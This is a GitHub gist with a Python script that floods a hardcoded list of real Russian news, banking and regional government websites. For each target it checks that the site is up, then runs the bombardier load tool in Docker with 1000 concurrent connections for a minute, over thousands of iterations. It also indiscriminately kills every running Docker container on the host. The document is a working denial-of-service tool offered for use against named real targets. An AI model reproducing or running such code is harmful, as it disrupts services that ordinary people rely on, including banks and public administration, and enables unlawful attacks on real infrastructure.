Skip to content

Instantly share code, notes, and snippets.

@NewEXE
Forked from Toyto/bomberman.py
Last active March 22, 2022 20:17
Show Gist options
  • Save NewEXE/a284a7ca0c3a2ddd2894907bb1787c63 to your computer and use it in GitHub Desktop.
Save NewEXE/a284a7ca0c3a2ddd2894907bb1787c63 to your computer and use it in GitHub Desktop.
Send bombard requests to russian propaganda and infrastructure sites.
# -*- coding: utf-8 -*-
# Send bombard requests to russian propaganda and infrastructure sites.
#
# Requirements: Docker, Python 2.7+, requests
#
# Check which pip version do you have: pip --version
# Then you need to install
# pip install requests
# OR
# sudo python3 -m pip install requests
#
# -*- coding: utf-8 -*-
import time
import sys
import requests
import subprocess
# Define URLs for bombarding.
# See more sites on https://ban-dera.com/ or http://notwar.ho.ua/
SITES = [
# fake news
'https://tvzvezda.ru',
'https://sputniknews.com',
# banking
'http://my.bank-hlynov.ru',
'https://link.centrinvest.ru',
'http://chbrr.crimea.com',
'https://enter.unicredit.ru',
# region's sites
'https://www.astrobl.ru',
'https://www.volgograd.ru',
'https://www.admoblkaluga.ru',
'https://apparat.lenobl.ru',
'https://mosreg.ru',
'https://orel-region.ru',
'http://midural.ru',
'http://www.tula.ru',
'https://ulgov.ru',
'https://cheladmin.ru',
'https://krd.ru',
'https://www.stavregion.ru',
]
RUN_TIME = 60 # how long we need to bombard each site; in seconds
CONNECTIONS = 1000 # how many connections (alpine/bombardier -c value)
ITERATIONS = 5000 # how many iterations over sites' list
REQUEST_TIMEOUT = 3 # site is decided as down or blockerd for IP up to this value; in seconds
OK_STATUSES = range(200, 499)
PRINT_SEPARATOR = ' 🇺🇦 ' * 3
def sleep_countdown(sec):
for i in range(sec, 0, -1):
sys.stdout.write(str(i) + ' ')
sys.stdout.flush()
time.sleep(1)
if i == 1: # add new line for last iteration
print('')
def run():
for i in range(ITERATIONS):
print('{s} Iteration: {current} of {total} {s}'.format(s=PRINT_SEPARATOR, current=i, total=ITERATIONS))
for site in SITES:
print('Site: {}'.format(site))
try:
response = requests.get(site, timeout=REQUEST_TIMEOUT)
except (requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout, requests.exceptions.ConnectionError):
response = None
if response and response.status_code in OK_STATUSES:
subprocess.Popen('docker run --rm alpine/bombardier -c {connections} -d {time}s -l {site}'.format(time=RUN_TIME, site=site, connections=CONNECTIONS), shell=True, stdout=subprocess.PIPE)
sleep_countdown(sec=RUN_TIME)
subprocess.Popen('docker kill $(docker ps -q)', shell=True, stdout=subprocess.PIPE)
else:
print('# No response or status code is not in OK range. Probably site is down or blocked for IP')
if __name__ == "__main__":
run()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment